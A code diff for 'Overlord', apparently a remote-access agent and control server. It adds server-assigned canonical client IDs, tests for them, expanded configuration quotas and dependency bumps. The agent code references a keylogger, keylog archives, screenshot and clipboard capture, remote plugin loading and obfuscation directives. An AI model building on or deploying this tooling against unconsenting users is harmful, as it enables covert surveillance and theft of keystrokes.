diff --git a/.env.example b/.env.example
index 3934ddc..7c45f47 100644
--- a/.env.example
+++ b/.env.example
@@ -57,6 +57,84 @@
# Leave empty to auto-generate and persist to save.json
# OVERLORD_AGENT_TOKEN=
+# Recommended: pin browser Origin/CSRF checks to the externally visible origin.
+# This is especially important behind TLS offload or a reverse proxy.
+# OVERLORD_PUBLIC_ORIGIN=https://overlord.example.com
+
+# When forwarding headers arrive from a public-address reverse proxy, list the
+# proxy's immediate IP here (comma-separated). Only loopback peers are trusted
+# automatically; private container/LAN proxy addresses must also be listed.
+# OVERLORD_TRUSTED_PROXY_IPS=203.0.113.10
+
+# Legacy query-token clients remain supported. Prefer X-Agent-Token for new
+# clients; set this to false once every deployed client has migrated.
+# OVERLORD_ALLOW_AGENT_TOKEN_QUERY=false
+# Legacy password-protected file-share links remain supported. Prefer the
+# X-Download-Password header; set this to false to reject query secrets.
+# OVERLORD_ALLOW_FILE_SHARE_PASSWORD_QUERY=false
+
+# Bound unapproved identity storage if an agent token is leaked. Pending rows
+# expire after seven days and are capped globally/per observed source IP.
+# OVERLORD_PENDING_ENROLLMENT_TTL_HOURS=168
+# OVERLORD_MAX_PENDING_ENROLLMENTS=100000
+# OVERLORD_MAX_PENDING_ENROLLMENTS_PER_IP=10000
+# OVERLORD_MAX_PREAUTH_SOCKETS_GLOBAL=100000
+# OVERLORD_MAX_PREAUTH_SOCKETS_PER_IP=10000
+# OVERLORD_MAX_ENROLLMENT_VERIFICATIONS=4096
+# OVERLORD_ENROLLMENT_VERIFICATION_ATTEMPTS_PER_SECOND=100000
+# OVERLORD_ENROLLMENT_VERIFICATION_ATTEMPT_BURST=200000
+
+# Generous defaults avoid dropping frames in large fleets; lower these if the
+# server operator wants explicit memory/backpressure limits.
+# OVERLORD_THUMBNAIL_PENDING_MAX_COUNT=512
+# OVERLORD_THUMBNAIL_PENDING_MAX_BYTES=536870912
+# OVERLORD_THUMBNAIL_QUEUE_MAX=512
+# OVERLORD_THUMBNAIL_CACHE_MAX_BYTES=1073741824
+# OVERLORD_THUMBNAIL_REQUEST_MAX=4096
+# OVERLORD_THUMBNAIL_WAITER_ID_MAX=4096
+# OVERLORD_THUMBNAIL_WAITER_MAX=8192
+
+# Notification screenshot storage is bounded transactionally. Byte values are
+# raw bytes. Uncomment to impose lower operator-selected retention limits.
+# OVERLORD_NOTIFICATION_SCREENSHOT_CLIENT_MAX_COUNT=10000
+# OVERLORD_NOTIFICATION_SCREENSHOT_CLIENT_MAX_BYTES=1073741824
+# OVERLORD_NOTIFICATION_SCREENSHOT_GLOBAL_MAX_COUNT=100000
+# OVERLORD_NOTIFICATION_SCREENSHOT_GLOBAL_MAX_BYTES=17179869184
+
+# Notification metadata history is also bounded per client and fleet-wide.
+# Oldest rows and linked screenshots are pruned atomically at these limits.
+# OVERLORD_NOTIFICATION_HISTORY_CLIENT_MAX_COUNT=100000
+# OVERLORD_NOTIFICATION_HISTORY_CLIENT_MAX_BYTES=1073741824
+# OVERLORD_NOTIFICATION_HISTORY_GLOBAL_MAX_COUNT=1000000
+# OVERLORD_NOTIFICATION_HISTORY_GLOBAL_MAX_BYTES=17179869184
+
+# Chat-plugin fleet retention quotas. These prevent many approved client
+# identities from multiplying the built-in per-client message/attachment caps.
+# OVERLORD_CHAT_PLUGIN_GLOBAL_MAX_MESSAGES=1000000
+# OVERLORD_CHAT_PLUGIN_GLOBAL_MAX_MESSAGE_BYTES=17179869184
+# OVERLORD_CHAT_PLUGIN_GLOBAL_MAX_ATTACHMENT_BYTES=17179869184
+
+# Fleet-wide archived keylog quotas supplement the built-in per-client cap.
+# Oldest rows and their full-text-search entries are pruned first.
+# OVERLORD_INPUT_ARCHIVE_GLOBAL_MAX_FILES=1000000
+# OVERLORD_INPUT_ARCHIVE_GLOBAL_MAX_BYTES=68719476736
+
+# Audit retention is opt-in. Uncomment either setting to prune old history.
+# OVERLORD_AUDIT_RETENTION_DAYS=90
+# OVERLORD_AUDIT_MAX_ROWS=250000
+
+# Web Push subscriptions are capped per account and server-wide. When an
+# account reaches its cap, registering a new browser replaces its oldest entry.
+# Delivery uses small batches so a large installation cannot create an
+# unbounded number of simultaneous outbound requests.
+# OVERLORD_MAX_PUSH_SUBSCRIPTIONS_PER_USER=10
+# OVERLORD_MAX_PUSH_SUBSCRIPTIONS=10000
+# OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_MAX=20
+# OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_WINDOW_SECONDS=60
+# OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_LOCKOUT_SECONDS=60
+# OVERLORD_WEB_PUSH_DELIVERY_CONCURRENCY=8
+# OVERLORD_WEB_PUSH_DELIVERY_BATCH_SIZE=100
+
# OPTIONAL: Solana publisher RPC request limits (per signed-in user)
# OVERLORD_SOL_PUBLISH_RATE_LIMIT_MAX=3
# OVERLORD_SOL_PUBLISH_RATE_LIMIT_WINDOW_SECONDS=300
diff --git a/Overlord-Client/cmd/agent/handlers/files.go b/Overlord-Client/cmd/agent/handlers/files.go
index a65fdcf..3db7906 100644
--- a/Overlord-Client/cmd/agent/handlers/files.go
+++ b/Overlord-Client/cmd/agent/handlers/files.go
@@ -825,7 +825,7 @@ func HandleFileUploadHTTP(ctx context.Context, env *agentRuntime.Env, cmdID stri
if token := strings.TrimSpace(env.Cfg.AgentToken); token != "" {
req.Header.Set("x-agent-token", token)
}
- if id := strings.TrimSpace(env.Cfg.ID); id != "" {
+ if id := env.ClientID(); id != "" {
req.Header.Set("x-overlord-client-id", id)
}
if offset > 0 {
diff --git a/Overlord-Client/cmd/agent/handlers/files_test.go b/Overlord-Client/cmd/agent/handlers/files_test.go
index 8dd6a92..54074ce 100644
--- a/Overlord-Client/cmd/agent/handlers/files_test.go
+++ b/Overlord-Client/cmd/agent/handlers/files_test.go
@@ -477,8 +477,8 @@ func TestHandleFileUploadHTTP(t *testing.T) {
data := []byte("http-upload-payload")
ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
- if got := r.Header.Get("x-overlord-client-id"); got != "client-abc" {
- t.Fatalf("expected x-overlord-client-id client-abc, got %q", got)
+ if got := r.Header.Get("x-overlord-client-id"); got != "key-fingerprint-canonical-id" {
+ t.Fatalf("expected canonical x-overlord-client-id, got %q", got)
}
if got := r.Header.Get("x-agent-token"); got != "agent-token" {
t.Fatalf("expected x-agent-token agent-token, got %q", got)
@@ -494,11 +494,14 @@ func TestHandleFileUploadHTTP(t *testing.T) {
env := &rt.Env{
Conn: writer,
Cfg: config.Config{
- ID: "client-abc",
+ ID: "claimed-client-id",
AgentToken: "agent-token",
TLSInsecureSkipVerify: true,
},
}
+ if !env.SetServerClientID("key-fingerprint-canonical-id") {
+ t.Fatal("failed to install canonical client id")
+ }
if err := HandleFileUploadHTTP(context.Background(), env, "cmd-http-upload", destPath, ts.URL+"/file", int64(len(data))); err != nil {
t.Fatalf("HandleFileUploadHTTP failed: %v", err)
diff --git a/Overlord-Client/cmd/agent/handlers/hello_ack.go b/Overlord-Client/cmd/agent/handlers/hello_ack.go
index 4c0f7f9..670202c 100644
--- a/Overlord-Client/cmd/agent/handlers/hello_ack.go
+++ b/Overlord-Client/cmd/agent/handlers/hello_ack.go
@@ -14,6 +14,12 @@ func HandleHelloAck(_ context.Context, env *runtime.Env, envelope map[string]int
if env == nil || envelope == nil {
return nil
}
+ if canonicalID, ok := envelope["id"].(string); ok && env.SetServerClientID(canonicalID) {
+ if env.Plugins != nil {
+ env.Plugins.SetClientID(env.ClientID())
+ }
+ log.Printf("hello ack: using canonical client id %s", env.ClientID())
+ }
if version := toInt(envelope["protocolVersion"]); version > 0 {
log.Printf("hello ack: negotiated wire protocol v%d (agent v%d)", version, wire.WireProtocolVersion)
}
diff --git a/Overlord-Client/cmd/agent/handlers/hello_ack_test.go b/Overlord-Client/cmd/agent/handlers/hello_ack_test.go
new file mode 100644
index 0000000..cdaf6fc
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/hello_ack_test.go
@@ -0,0 +1,45 @@
+package handlers
+
+import (
+ "context"
+ "testing"
+
+ "overlord-client/cmd/agent/config"
+ "overlord-client/cmd/agent/plugins"
+ agentRuntime "overlord-client/cmd/agent/runtime"
+)
+
+func TestHandleHelloAckAdoptsCanonicalClientID(t *testing.T) {
+ writer := &testWriter{}
+ env := &agentRuntime.Env{
+ Conn: writer,
+ Cfg: config.Config{ID: "claimed-client-id"},
+ }
+ env.Plugins = plugins.NewManager(writer, plugins.HostInfo{ClientID: env.ClientID()})
+
+ if err := HandleHelloAck(context.Background(), env, map[string]interface{}{
+ "id": "key-fingerprint-canonical-id",
+ "protocolVersion": 1,
+ }); err != nil {
+ t.Fatalf("HandleHelloAck failed: %v", err)
+ }
+
+ if got := env.ClientID(); got != "key-fingerprint-canonical-id" {
+ t.Fatalf("runtime client id = %q, want canonical id", got)
+ }
+ if got := env.Plugins.ClientID(); got != "key-fingerprint-canonical-id" {
+ t.Fatalf("plugin host client id = %q, want canonical id", got)
+ }
+}
+
+func TestHandleHelloAckWithoutIDRetainsConfiguredFallback(t *testing.T) {
+ env := &agentRuntime.Env{Cfg: config.Config{ID: "claimed-client-id"}}
+ if err := HandleHelloAck(context.Background(), env, map[string]interface{}{
+ "protocolVersion": 1,
+ }); err != nil {
+ t.Fatalf("HandleHelloAck failed: %v", err)
+ }
+ if got := env.ClientID(); got != "claimed-client-id" {
+ t.Fatalf("legacy hello_ack client id = %q, want configured fallback", got)
+ }
+}
diff --git a/Overlord-Client/cmd/agent/handlers/plugin_load.go b/Overlord-Client/cmd/agent/handlers/plugin_load.go
index 5e31111..5828647 100644
--- a/Overlord-Client/cmd/agent/handlers/plugin_load.go
+++ b/Overlord-Client/cmd/agent/handlers/plugin_load.go
@@ -46,7 +46,7 @@ func HandlePluginLoadHTTP(ctx context.Context, env *agentRuntime.Env, cmdID stri
if token := strings.TrimSpace(env.Cfg.AgentToken); token != "" {
req.Header.Set("x-agent-token", token)
}
- if id := strings.TrimSpace(env.Cfg.ID); id != "" {
+ if id := env.ClientID(); id != "" {
req.Header.Set("x-overlord-client-id", id)
}
diff --git a/Overlord-Client/cmd/agent/handlers/plugin_load_test.go b/Overlord-Client/cmd/agent/handlers/plugin_load_test.go
new file mode 100644
index 0000000..ef9887e
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/plugin_load_test.go
@@ -0,0 +1,54 @@
+package handlers
+
+import (
+ "context"
+ "net/http"
+ "net/http/httptest"
+ "testing"
+
+ "overlord-client/cmd/agent/config"
+ "overlord-client/cmd/agent/plugins"
+ agentRuntime "overlord-client/cmd/agent/runtime"
+)
+
+func TestHandlePluginLoadHTTPUsesCanonicalClientID(t *testing.T) {
+ headers := make(chan http.Header, 1)
+ server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ headers <- r.Header.Clone()
+ http.Error(w, "stop after header assertion", http.StatusForbidden)
+ }))
+ defer server.Close()
+
+ writer := &testWriter{}
+ env := &agentRuntime.Env{
+ Conn: writer,
+ Cfg: config.Config{
+ ID: "claimed-client-id",
+ AgentToken: "agent-token",
+ TLSInsecureSkipVerify: true,
+ },
+ }
+ env.Plugins = plugins.NewManager(writer, plugins.HostInfo{ClientID: env.ClientID()})
+ if !env.SetServerClientID("key-fingerprint-canonical-id") {
+ t.Fatal("failed to install canonical client id")
+ }
+
+ if err := HandlePluginLoadHTTP(
+ context.Background(),
+ env,
+ "plugin-command-id",
+ plugins.PluginManifest{ID: "test-plugin"},
+ server.URL+"/api/plugins/pull/test-id",
+ 1,
+ ); err != nil {
+ t.Fatalf("HandlePluginLoadHTTP failed: %v", err)
+ }
+
+ got := <-headers
+ if clientID := got.Get("x-overlord-client-id"); clientID != "key-fingerprint-canonical-id" {
+ t.Fatalf("plugin pull client id = %q, want canonical id", clientID)
+ }
+ if token := got.Get("x-agent-token"); token != "agent-token" {
+ t.Fatalf("plugin pull token = %q, want agent token", token)
+ }
+}
diff --git a/Overlord-Client/cmd/agent/plugins/manager.go b/Overlord-Client/cmd/agent/plugins/manager.go
index f4ce059..01b15d7 100644
--- a/Overlord-Client/cmd/agent/plugins/manager.go
+++ b/Overlord-Client/cmd/agent/plugins/manager.go
@@ -33,6 +33,18 @@ func NewManager(writer wire.Writer, host HostInfo) *Manager {
}
}
+func (m *Manager) SetClientID(clientID string) {
+ m.mu.Lock()
+ m.host.ClientID = clientID
+ m.mu.Unlock()
+}
+
+func (m *Manager) ClientID() string {
+ m.mu.Lock()
+ defer m.mu.Unlock()
+ return m.host.ClientID
+}
+
func (m *Manager) Load(ctx context.Context, manifest PluginManifest, binary []byte) error {
//garble:controlflow block_splits=max junk_jumps=max flatten_passes=max
if len(binary) == 0 {
@@ -95,7 +107,10 @@ func (m *Manager) Load(ctx context.Context, manifest PluginManifest, binary []by
}()
}
- hostJSON, err := json.Marshal(m.host)
+ m.mu.Lock()
+ host := m.host
+ m.mu.Unlock()
+ hostJSON, err := json.Marshal(host)
if err != nil {
np.Close()
return err
diff --git a/Overlord-Client/cmd/agent/runtime/env.go b/Overlord-Client/cmd/agent/runtime/env.go
index bf8864d..063200f 100644
--- a/Overlord-Client/cmd/agent/runtime/env.go
+++ b/Overlord-Client/cmd/agent/runtime/env.go
@@ -3,6 +3,7 @@ package runtime
import (
"context"
"os"
+ "strings"
"sync"
"sync/atomic"
"time"
@@ -63,6 +64,35 @@ type Env struct {
NotificationKeywords []string
NotificationMinIntervalMs int
NotificationClipboard bool
+ clientIDMu sync.RWMutex
+ serverClientID string
+}
+
+func (e *Env) SetServerClientID(value string) bool {
+ clientID := strings.TrimSpace(value)
+ if clientID == "" || len(clientID) > 256 {
+ return false
+ }
+ for _, r := range clientID {
+ if r < 0x20 || r == 0x7f {
+ return false
+ }
+ }
+
+ e.clientIDMu.Lock()
+ e.serverClientID = clientID
+ e.clientIDMu.Unlock()
+ return true
+}
+
+func (e *Env) ClientID() string {
+ e.clientIDMu.RLock()
+ clientID := e.serverClientID
+ e.clientIDMu.RUnlock()
+ if clientID != "" {
+ return clientID
+ }
+ return strings.TrimSpace(e.Cfg.ID)
}
func (e *Env) SetNotificationConfig(keywords []string, minIntervalMs int, clipboardEnabled bool) {
diff --git a/Overlord-Client/cmd/agent/runtime/env_test.go b/Overlord-Client/cmd/agent/runtime/env_test.go
index 39e7ed2..68704cc 100644
--- a/Overlord-Client/cmd/agent/runtime/env_test.go
+++ b/Overlord-Client/cmd/agent/runtime/env_test.go
@@ -1,10 +1,57 @@
package runtime
import (
+ "sync"
"testing"
"time"
+
+ "overlord-client/cmd/agent/config"
)
+func TestEnv_ClientIDUsesServerCanonicalIdentityAfterAck(t *testing.T) {
+ env := &Env{Cfg: config.Config{ID: "claimed-client-id"}}
+ if got := env.ClientID(); got != "claimed-client-id" {
+ t.Fatalf("ClientID before ack = %q, want configured fallback", got)
+ }
+
+ if !env.SetServerClientID("key-fingerprint-canonical-id") {
+ t.Fatal("expected canonical server id to be accepted")
+ }
+ if got := env.ClientID(); got != "key-fingerprint-canonical-id" {
+ t.Fatalf("ClientID after ack = %q, want canonical id", got)
+ }
+
+ if env.SetServerClientID("bad\r\nheader") {
+ t.Fatal("expected control characters in canonical id to be rejected")
+ }
+ if got := env.ClientID(); got != "key-fingerprint-canonical-id" {
+ t.Fatalf("invalid update replaced canonical id with %q", got)
+ }
+}
+
+func TestEnv_ClientIDConcurrentAccess(t *testing.T) {
+ env := &Env{Cfg: config.Config{ID: "claimed-client-id"}}
+ var wg sync.WaitGroup
+ for i := 0; i < 8; i++ {
+ wg.Add(1)
+ go func() {
+ defer wg.Done()
+ for j := 0; j < 1_000; j++ {
+ if got := env.ClientID(); got == "" {
+ t.Errorf("ClientID returned empty during concurrent access")
+ return
+ }
+ }
+ }()
+ }
+ for i := 0; i < 100; i++ {
+ if !env.SetServerClientID("key-fingerprint-canonical-id") {
+ t.Fatal("canonical id update failed")
+ }
+ }
+ wg.Wait()
+}
+
func TestEnv_NotificationConfig(t *testing.T) {
env := &Env{}
diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go
index 4d02c11..95f21db 100644
--- a/Overlord-Client/cmd/agent/session.go
+++ b/Overlord-Client/cmd/agent/session.go
@@ -590,7 +590,7 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
env := &rt.Env{Conn: safeWriter, Cfg: cfg, Cancel: cancel, SelectedDisplay: handlers.GetPersistedDisplay()}
env.SetLastPong(time.Now().UnixMilli())
env.Console = rt.NewConsoleHub(env)
- env.Plugins = plugins.NewManager(env.Conn, plugins.HostInfo{ClientID: cfg.ID, OS: cfg.OS, Arch: cfg.Arch, Version: cfg.Version})
+ env.Plugins = plugins.NewManager(env.Conn, plugins.HostInfo{ClientID: env.ClientID(), OS: cfg.OS, Arch: cfg.Arch, Version: cfg.Version})
defer env.Plugins.Close()
env.Keylogger = keylogger.New()
diff --git a/Overlord-Server/.env.example b/Overlord-Server/.env.example
index b281b36..eeccf2c 100644
--- a/Overlord-Server/.env.example
+++ b/Overlord-Server/.env.example
@@ -17,6 +17,81 @@ OVERLORD_PASS=admin
JWT_SECRET=
OVERLORD_AGENT_TOKEN=
+# Pin browser Origin/CSRF checks to the externally visible server origin.
+# Recommended for every production deployment, especially behind a proxy.
+# OVERLORD_PUBLIC_ORIGIN=https://overlord.example.com
+
+# Comma-separated immediate public proxy IPs whose forwarding headers may be
+# trusted. Only loopback peers are automatic; list private container/LAN proxy
+# addresses explicitly as well.
+# OVERLORD_TRUSTED_PROXY_IPS=203.0.113.10
+
+# Query-string agent credentials remain enabled for older clients. Current
+# agents send X-Agent-Token; set this to false after migrating every client.
+# OVERLORD_ALLOW_AGENT_TOKEN_QUERY=false
+# Legacy password-protected file-share links remain supported. Prefer the
+# X-Download-Password header; set this to false to reject query secrets.
+# OVERLORD_ALLOW_FILE_SHARE_PASSWORD_QUERY=false
+
+# Pending enrollment abuse controls (use larger values for very large fleets).
+# OVERLORD_PENDING_ENROLLMENT_TTL_HOURS=168
+# OVERLORD_MAX_PENDING_ENROLLMENTS=100000
+# OVERLORD_MAX_PENDING_ENROLLMENTS_PER_IP=10000
+# OVERLORD_MAX_PREAUTH_SOCKETS_GLOBAL=100000
+# OVERLORD_MAX_PREAUTH_SOCKETS_PER_IP=10000
+# OVERLORD_MAX_ENROLLMENT_VERIFICATIONS=4096
+# OVERLORD_ENROLLMENT_VERIFICATION_ATTEMPTS_PER_SECOND=100000
+# OVERLORD_ENROLLMENT_VERIFICATION_ATTEMPT_BURST=200000
+
+# Generous defaults avoid dropping frames in large fleets; lower these if the
+# server operator wants explicit memory/backpressure limits.
+# OVERLORD_THUMBNAIL_PENDING_MAX_COUNT=512
+# OVERLORD_THUMBNAIL_PENDING_MAX_BYTES=536870912
+# OVERLORD_THUMBNAIL_QUEUE_MAX=512
+# OVERLORD_THUMBNAIL_CACHE_MAX_BYTES=1073741824
+# OVERLORD_THUMBNAIL_REQUEST_MAX=4096
+# OVERLORD_THUMBNAIL_WAITER_ID_MAX=4096
+# OVERLORD_THUMBNAIL_WAITER_MAX=8192
+
+# Notification screenshot retention quotas (byte values are raw bytes).
+# OVERLORD_NOTIFICATION_SCREENSHOT_CLIENT_MAX_COUNT=10000
+# OVERLORD_NOTIFICATION_SCREENSHOT_CLIENT_MAX_BYTES=1073741824
+# OVERLORD_NOTIFICATION_SCREENSHOT_GLOBAL_MAX_COUNT=100000
+# OVERLORD_NOTIFICATION_SCREENSHOT_GLOBAL_MAX_BYTES=17179869184
+
+# Notification metadata history quotas. Oldest rows (and any linked screenshots)
+# are pruned atomically when a per-client or fleet-wide limit is reached.
+# OVERLORD_NOTIFICATION_HISTORY_CLIENT_MAX_COUNT=100000
+# OVERLORD_NOTIFICATION_HISTORY_CLIENT_MAX_BYTES=1073741824
+# OVERLORD_NOTIFICATION_HISTORY_GLOBAL_MAX_COUNT=1000000
+# OVERLORD_NOTIFICATION_HISTORY_GLOBAL_MAX_BYTES=17179869184
+
+# Chat-plugin fleet retention quotas. These prevent many approved client
+# identities from multiplying the built-in per-client message/attachment caps.
+# OVERLORD_CHAT_PLUGIN_GLOBAL_MAX_MESSAGES=1000000
+# OVERLORD_CHAT_PLUGIN_GLOBAL_MAX_MESSAGE_BYTES=17179869184
+# OVERLORD_CHAT_PLUGIN_GLOBAL_MAX_ATTACHMENT_BYTES=17179869184
+
+# Fleet-wide archived keylog quotas. These are in addition to the built-in
+# per-client cap; oldest rows and their FTS entries are pruned first.
+# OVERLORD_INPUT_ARCHIVE_GLOBAL_MAX_FILES=1000000
+# OVERLORD_INPUT_ARCHIVE_GLOBAL_MAX_BYTES=68719476736
+
+
+# Audit retention is opt-in. Uncomment either setting to prune old history.
+# OVERLORD_AUDIT_RETENTION_DAYS=90
+# OVERLORD_AUDIT_MAX_ROWS=250000
+
+# Web Push subscription quotas, mutation rate limits, and bounded fan-out.
+# A user's oldest subscription is replaced when their per-user cap is reached.
+# OVERLORD_MAX_PUSH_SUBSCRIPTIONS_PER_USER=10
+# OVERLORD_MAX_PUSH_SUBSCRIPTIONS=10000
+# OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_MAX=20
+# OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_WINDOW_SECONDS=60
+# OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_LOCKOUT_SECONDS=60
+# OVERLORD_WEB_PUSH_DELIVERY_CONCURRENCY=8
+# OVERLORD_WEB_PUSH_DELIVERY_BATCH_SIZE=100
+
# TLS/HTTPS Configuration
# By default, certificates are generated when missing and Overlord serves HTTPS.
# OVERLORD_TLS_CERT=./certs/server.crt
diff --git a/Overlord-Server/bun.lock b/Overlord-Server/bun.lock
index 561d109..8c85af2 100644
--- a/Overlord-Server/bun.lock
+++ b/Overlord-Server/bun.lock
@@ -9,17 +9,17 @@
"@hotwired/turbo": "^8.0.23",
"@msgpack/msgpack": "^3.0.0",
"@solana/web3.js": "^1.98.4",
- "adm-zip": "^0.5.12",
+ "adm-zip": "^0.6.0",
"ansi-to-html": "0.7.2",
"cytoscape": "^3.34.0",
"fuse.js": "^7.4.1",
"geoip-lite": "latest",
"gridstack": "^12.6.0",
- "hono": "^4.12.33",
+ "hono": "^4.13.3",
"jose": "^6.1.3",
"msgpackr": "1.11.8",
"qrcode": "^1.5.4",
- "uuid": "^9.0.1",
+ "uuid": "^11.1.1",
"valibot": "^1.4.2",
"web-push": "^3.6.7",
"winston": "^3.11.0",
@@ -46,8 +46,8 @@
"flag-icons": "latest",
"highlight.js": "11.9.0",
"html-minifier-terser": "^7.2.0",
- "monaco-editor": "^0.55.1",
- "postcss": "^8.5.6",
+ "monaco-editor": "^0.56.0",
+ "postcss": "^8.5.26",
"tabulator-tables": "^6.4.0",
"tailwindcss": "^4.1.18",
"terser": "^5.46.1",
@@ -55,6 +55,11 @@
},
},
},
+ "overrides": {
+ "dompurify": "^3.4.14",
+ "ip-address": "^10.5.0",
+ "uuid": "^11.1.1",
+ },
"packages": {
"@babel/runtime": ["@babel/runtime@7.29.7", "", {}, "sha512-Nq8OhGWiZIZGV6hLHoyAKLLcJihP/xFeBMGJoUrxTX2psI8dCifzLhZISFb+VWS3wFMRDmCGw5R+dOySCqPLhw=="],
@@ -204,7 +209,7 @@
"acorn": ["acorn@8.17.0", "", { "bin": { "acorn": "bin/acorn" } }, "sha512-xRQbDb9BnwDafYNn6Vwl839DYVjqXYb1XVGtWAZ1kcDc6iwAL4hg3B1dZlRiuENFeO2H53gFG3in621AdERVAg=="],
- "adm-zip": ["adm-zip@0.5.17", "", {}, "sha512-+Ut8d9LLqwEvHHJl1+PIHqoyDxFgVN847JTVM3Izi3xHDWPE4UtzzXysMZQs64DMcrJfBeS/uoEP4AD3HQHnQQ=="],
+ "adm-zip": ["adm-zip@0.6.0", "", {}, "sha512-XleryMhbuksdKtofnWZ9Sk+4CUTbms4Mb/EU32SZwToAyZ5RgVos/ki8n+yr0LWHOGKuakbXTuuYNHLQjhddgg=="],
"agent-base": ["agent-base@7.1.4", "", {}, "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ=="],
@@ -288,7 +293,7 @@
"dijkstrajs": ["dijkstrajs@1.0.3", "", {}, "sha512-qiSlmBq9+BCdCA/L46dw8Uy93mloxsPSbwnm5yrKn2vMPiy8KyAskTF6zuV/j5BMsmOGZDPs7KjU+mjb670kfA=="],
- "dompurify": ["dompurify@3.2.7", "", { "optionalDependencies": { "@types/trusted-types": "^2.0.7" } }, "sha512-WhL/YuveyGXJaerVlMYGWhvQswa7myDG17P7Vu65EWC05o8vfeNbvNf4d/BOvH99+ZW+LlQsc1GDKMa1vNK6dw=="],
+ "dompurify": ["dompurify@3.4.14", "", { "optionalDependencies": { "@types/trusted-types": "^2.0.7" } }, "sha512-dVoH9z+MY+C9IilgGCk3YfFqjLi3fChm2OiKJMzh6axrJ5qwxqWaZamgmHrpv22CN/KdbZJuGEGgfQoL00LTdg=="],
"dot-case": ["dot-case@3.0.4", "", { "dependencies": { "no-case": "^3.0.4", "tslib": "^2.0.3" } }, "sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w=="],
@@ -344,7 +349,7 @@
"highlight.js": ["highlight.js@11.9.0", "", {}, "sha512-fJ7cW7fQGCYAkgv4CPfwFHrfd/cLS4Hau96JuJ+ZTOWhjnhoeN1ub1tFmALm/+lW5z4WCAuAV9bm05AP0mS6Gw=="],
- "hono": ["hono@4.12.33", "", {}, "sha512-+SwvkaiJtxsiPjhy9LivY/1m7UsNqCJetM1BrZl9A5DkQhlbHQDU730mMiDPWjnoCYOM8Chf3WrCJw27kNTPFQ=="],
+ "hono": ["hono@4.13.3", "", {}, "sha512-r8AO2mYHoLxSHkgafNeC/BXyb2vWRxD3jem4Ts+ptav8oTG5FIRifAjuJEmZI4bSvvc2ns0GxmIYiZnHqN3mMw=="],
"html-minifier-terser": ["html-minifier-terser@7.2.0", "", { "dependencies": { "camel-case": "^4.1.2", "clean-css": "~5.3.2", "commander": "^10.0.0", "entities": "^4.4.0", "param-case": "^3.0.4", "relateurl": "^0.2.7", "terser": "^5.15.1" }, "bin": { "html-minifier-terser": "cli.js" } }, "sha512-tXgn3QfqPIpGl9o+K5tpcj3/MN4SfLtsx2GWwBC3SSd0tXQGyF3gsSqad8loJgKZGM3ZxbYDd5yhiBIdWpmvLA=="],
@@ -360,7 +365,7 @@
"inherits": ["inherits@2.0.4", "", {}, "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="],
- "ip-address": ["ip-address@10.2.0", "", {}, "sha512-/+S6j4E9AHvW9SWMSEY9Xfy66O5PWvVEJ08O0y5JGyEKQpojb0K0GKpz/v5HJ/G0vi3D2sjGK78119oXZeE0qA=="],
+ "ip-address": ["ip-address@10.5.0", "", {}, "sha512-R5SnVLJmgYYvf2F2ZgwSBnelz5G4q5AxIC277GDfUaNbrZKNANcBC7RHqYYePlszf4kBolVkJauG0ZjHHFh55g=="],
"is-extglob": ["is-extglob@2.1.1", "", {}, "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ=="],
@@ -430,7 +435,7 @@
"minimist": ["minimist@1.2.8", "", {}, "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA=="],
- "monaco-editor": ["monaco-editor@0.55.1", "", { "dependencies": { "dompurify": "3.2.7", "marked": "14.0.0" } }, "sha512-jz4x+TJNFHwHtwuV9vA9rMujcZRb0CEilTEwG2rRSpe/A7Jdkuj8xPKttCgOh+v/lkHy7HsZ64oj+q3xoAFl9A=="],
+ "monaco-editor": ["monaco-editor@0.56.0", "", { "dependencies": { "dompurify": "3.4.8", "marked": "14.0.0" } }, "sha512-sXboRm3BeBeLm938eaiyLMe0OxzfXIlZvbv4ir/jVgQy1zDhWjgmny0WoN45fuDKhCCQsYMbBJrv/A6jd8aCUg=="],
"mri": ["mri@1.2.0", "", {}, "sha512-tzzskb3bG8LvYGFF/mDTpq3jpI6Q9wc3LEmBaghu+DdCssd1FakN7Bc0hVNmEyGq1bq3RgfkCb3cmQLpNPOroA=="],
@@ -440,7 +445,7 @@
"msgpackr-extract": ["msgpackr-extract@3.0.4", "", { "dependencies": { "node-gyp-build-optional-packages": "5.2.2" }, "optionalDependencies": { "@msgpackr-extract/msgpackr-extract-darwin-arm64": "3.0.4", "@msgpackr-extract/msgpackr-extract-darwin-x64": "3.0.4", "@msgpackr-extract/msgpackr-extract-linux-arm": "3.0.4", "@msgpackr-extract/msgpackr-extract-linux-arm64": "3.0.4", "@msgpackr-extract/msgpackr-extract-linux-x64": "3.0.4", "@msgpackr-extract/msgpackr-extract-win32-x64": "3.0.4" }, "bin": { "download-msgpackr-prebuilds": "bin/download-prebuilds.js" } }, "sha512-4kmO/MdyUIkLIvTPr8VHLil4AtoKIoniWPIEk5+CDy0xnWC84azhSFmuJ7PxZdsYtiP5kEeQsORAVIeMgxT+Hw=="],
